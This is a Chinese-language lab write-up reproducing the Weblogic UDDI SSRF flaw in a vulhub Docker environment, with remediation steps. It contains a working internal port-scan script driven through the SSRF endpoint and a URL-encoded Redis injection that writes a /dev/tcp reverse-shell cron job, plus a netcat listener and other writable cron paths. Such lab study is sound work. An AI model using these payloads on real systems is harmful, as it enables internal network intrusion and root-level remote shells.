應為這一陣正好在學習SSRF漏洞，又苦於本人太菜沒有挖到SSRF，只能復現...
先貼出很早之前央視網SSRF可窺探內網（Weblogic SSRF案例）：https://www.secpulse.com/archives/38967.html
Weblogic中存在一個SSRF漏洞，利用該漏洞可以發送任意HTTP請求，進而攻擊內網中redis、fastcgi等脆弱組件
服務端請求偽造（Server-Side Request Forgery），是指Web服務提供從用戶指定的URL讀取數據並展示功能又未
對用戶輸入的URL進行過濾，導致攻擊者可借助服務端實現訪問其本無權訪問的URL。
攻擊者無權訪問的URL主要是內網，而對於不是Web服務的其他端口反回的一般是端口對應的服務的banner信息，
所以SSRF的一大利用是探測內網端口開放信息。（所以SSRF歸類為信息泄漏類型）
漏洞出現位置與解決方法：
Weblogic服務端請求偽造漏洞出現在uddi組件（所以安裝Weblogic時如果沒有選擇uddi組件那么就不會有該漏洞），
更准確地說是uudi包實現包uddiexplorer.war下的SearchPublicRegistries.jsp。
所以修復的直接方法是將SearchPublicRegistries.jsp直接刪除就好了
我們這里采用的是改后輟的方式，修復步驟如下：
1.將weblogic安裝目錄下的wlserver_10.3/server/lib/uddiexplorer.war做好備份
2.將weblogic安裝目錄下的server/lib/uddiexplorer.war下載
3.用winrar等工具打開uddiexplorer.war
4.將其下的SearchPublicRegistries.jsp重命名為SearchPublicRegistries.jspx
5.保存后上傳回服務端替換原先的uddiexplorer.war
6.對於多台主機組成的集群，針對每台主機都要做這樣的操作
7.由於每個server的tmp目錄下都有緩存所以修改后要徹底重啟weblogic（即停應用--停server--停控制台--啟控制台--啟server--啟應用）
理論部分已經交代完，下面開始實際操作，復現漏洞，這次使用docker來模擬漏洞環境
docker github地址：https://github.com/vulhub/vulhub
搭建的載體為Ubuntu，ip為 192.168.0.131
搭建過程不在詳述，搭建完成后，訪問 http://your-ip:7001/uddiexplorer/ 無需登錄即可查看uddiexplorer應用。
SSRF漏洞測試
SSRF漏洞存在於http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
我們在brupsuite下測試該漏洞。訪問一個可以訪問的IP:PORT，如http://127.0.0.1:7001
我們訪問的IP是內網ip地址，一般是拒絕訪問的
當我們訪問一個不存在的端口時，比如 http://127.0.0.1:7000
將會返回：could not connect over HTTP to server
當我們訪問存在的端口時，比如 http://127.0.0.1:7001
可訪問的端口將會得到錯誤，一般是返回status code（如下圖），如果訪問的非http協議，則會返回：did not have a valid SOAP content-type
正常我們是無法訪問內網的，但是通過頁面返回錯誤的不同，我們可以探測內網端口的開放狀態，進而知道內網
開啟的服務，同時加以利用
注入HTTP頭，利用Redis反彈shell
Weblogic的SSRF有一個比較大的特點，其雖然是一個“GET”請求，但是我們可以通過傳入%0a%0d來注入換行符，
而某些服務（如redis）是通過換行符來分隔每條命令，也就說我們可以通過該SSRF攻擊內網中的redis服務器。
首先，通過ssrf探測內網中的redis服務器，應為這個漏洞是用docker環境搭建的，所以redis服務器的內網即是
docker的網段（docker環境的網段一般是172.*）：
下面用一個python 小腳本來實現內網端口探測這個功能：
import thread import time import re import requests def ite_ip(ip): for i in range(1, 256): final_ip = '{ip}.{i}'.format(ip=ip, i=i) print final_ip thread.start_new_thread(scan, (final_ip,)) time.sleep(3) def scan(final_ip): ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379') for port in ports: vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port) try: #print vul_url r = requests.get(vul_url, timeout=15, verify=False) result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content) result2 = re.findall('but could not connect', r.content) result3 = re.findall('No route to host', r.content) if len(result1) != 0 and len(result2) == 0 and len(result3) == 0: print '[!]'+final_ip + ':' + port except Exception, e: pass if __name__ == '__main__': ip = "172.18.0" if ip: print ip ite_ip(ip) else: print "no ip"
嘗試運行：
經過探測，我們發現了內網的一個IP存在6379端口，也就是redis服務：
我們這里要發送幾行代碼
發送三條redis命令，將彈shell腳本寫入/etc/crontab：
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
把這三條命令通過get包注入進去，先要將命令用url進行編碼
注意，換行符是“\r\n”，也就是“%0D%0A”
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后我們把構造好的數據包通過burp進行發送 , 將url編碼后的字符串放在ssrf的域名后面，發送：
接着靶機上開啟端口監聽，nc -lvnp 21 ,反彈shell。成功。
最后補充一下，可進行利用的cron有如下幾個地方：
- /etc/crontab 這個是肯定的
- /etc/cron.d/* 將任意文件寫到該目錄下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用這個目錄，可以做到不覆蓋任何其他文件的情況進行彈shell。
- /var/spool/cron/root centos系統下root用戶的cron文件
- /var/spool/cron/crontabs/root debian系統下root用戶的cron文件